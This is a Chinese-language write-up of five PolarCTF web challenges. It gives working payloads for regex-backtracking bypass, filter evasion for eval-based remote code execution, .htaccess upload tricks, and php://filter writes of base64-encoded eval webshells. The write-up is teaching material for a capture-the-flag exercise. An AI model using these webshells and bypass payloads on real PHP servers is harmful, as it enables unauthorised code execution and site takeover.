polarctf-web(1-5)

SWP

考察点

swp泄露+php正则回溯绕过

解题

看题目可知是vim的缓冲区备份文件

用dirsearch扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12358

Target: http://05003218-a7f1-4e4d-b88a-99a2bf9669c0.www.polarctf.com:8090/

[22:17:16] Scanning:
[22:17:17] 200 - 340B - /.index.php.swp
[22:17:17] 200 - 44B - /index.php
[22:17:46] 200 - 44B - /index.php/login/
[22:17:57] 403 - 341B - /server-status
[22:17:57] 403 - 342B - /server-status/

找到/.index.php.swp,访问得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function jiuzhe($xdmtql){
return preg_match('/sys.*nb/is',$xdmtql);//i忽略大小写,s让.可以匹配换行符
}

$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)){ //不能是数组
if(!jiuzhe($xdmtql)){ //不能包含sys<任意字符>nb
if(strpos($xdmtql,'sys nb')!==false){ //需要匹配到sys nb
echo 'flag{*******}';
}else{
echo 'true .swp file?';
}
}else{
echo 'nijilenijile';
}
}

php中preg_match的匹配引擎为NFA(非确定性有限状态自动机),存在回溯

1
2
DFA(确定性有限状态自动机): 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA(非确定性有限状态自动机):从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

相关文章:https://www.freebuf.com/articles/web/190794.html

所以构造payloadsys nb{{repeat:str(x|1000000)}}让回溯超过最大限制直接返回false

详细过程:

sys.*nb –> sys nbxxxx…x

sys.*nb –> sys nbxxxx...x //字符串匹配完而正则没有走完,进行回溯

sys.*nb –> sys nbxxxx…x //实际到这里已经超出了回溯的限制,直接返回false

简单rce

考察点

eval中的关键字绕过

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
function no($txt){
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
return $txt;}
else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
eval(no($_GET['sys']));
}
else
{echo "nonono";
}
?>

方法一:

看到是eval的绕过,直接用无字母数字payload

1
?sys=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98); --> system('cat /flag');

方法二:

多次传参绕过

1
?sys=$_GET[1]($_GET[2]);&1=system&2=whoami

方法三:

字符串拼接

1
?sys=(s.y.s.t.e.m)("ls");

方法四:

进制转换

1
2
3
4
5
6
7
8
// 八进制表示法
"\163\171\163\164\145\155"("whoami"); // system('whoami')

// 十六进制表示法
"\x70\x68\x70\x69\x6e\x66\x6f"(); // phpinfo()

// Unicode表示法
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"("id"); // system('id')

上传

考察点

php上传<?绕过

解题

禁止上传php文件,修改后缀后返回<?,猜测对<?进行了过滤

方法一:

用.htaccess将木马文件用base64解码后用php解析(题目过滤了file关键字,用\换行绕过)

1
2
3
SetHandler application/x-httpd-php
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=shell.png"
1
PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

方法二:

用.htaccess允许木马编码非ascii字符,再用php解析

1
2
3
4
5
AddType application/x-httpd-php .png 

php_value zend.multibyte 1
php_value zend.detect_unicode 1
php_value display_errors 1
1
<?php @eval($_POST[1]);?> //utf16或utf32编码

到底给不给flag呢

考察点

$$key = $$value;

双重变量

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file('1.txt');
echo "<br><br>";

$flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}';
$qwq= '我想要flag';
$QAQ = '我又不想要flag了,滚吧';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($qwq);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($QAQ);
}

foreach ($_POST as $key => $value) {
$$key = $value;
}

foreach ($_GET as $key => $value) {
$$key = $$value;
}

echo $flag;

if(!isset($_GET['flag']) && !isset($_POST['flag']))必须要有flag参数,而直接传参会覆盖掉flag的值

1
2
3
foreach ($_GET as $key => $value) {
$$key = $$value;
}

这里将传入的键作为变量接收传入的值所对应的变量,所以传入c=flag&flag=c经过两次转换,flag的值不变,且传入的flag参数

1
?c=flag&flag=c

写shell

考察点

php exit()绕过

解题

1
2
3
4
<?php
highlight_file(__FILE__);
file_put_contents($_GET['filename'],"<?php exit();".$_POST['content']);
?>

用file_put_contents写文件,但是中间有exit(),所以需要绕过

filename传入php://filter/convert.base64-decode/resource=shell.php

用base64解码器写入文件,content中传入base64编码的一句话木马(注意补全)

filter会过滤base64字符A-Z a-z 0-9 + / =其他字符会被丢弃,所以文件开头<?php exit();会过滤出phpexit7个字符,所以base64编码后的木马需要补1个字符

1
content=aPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==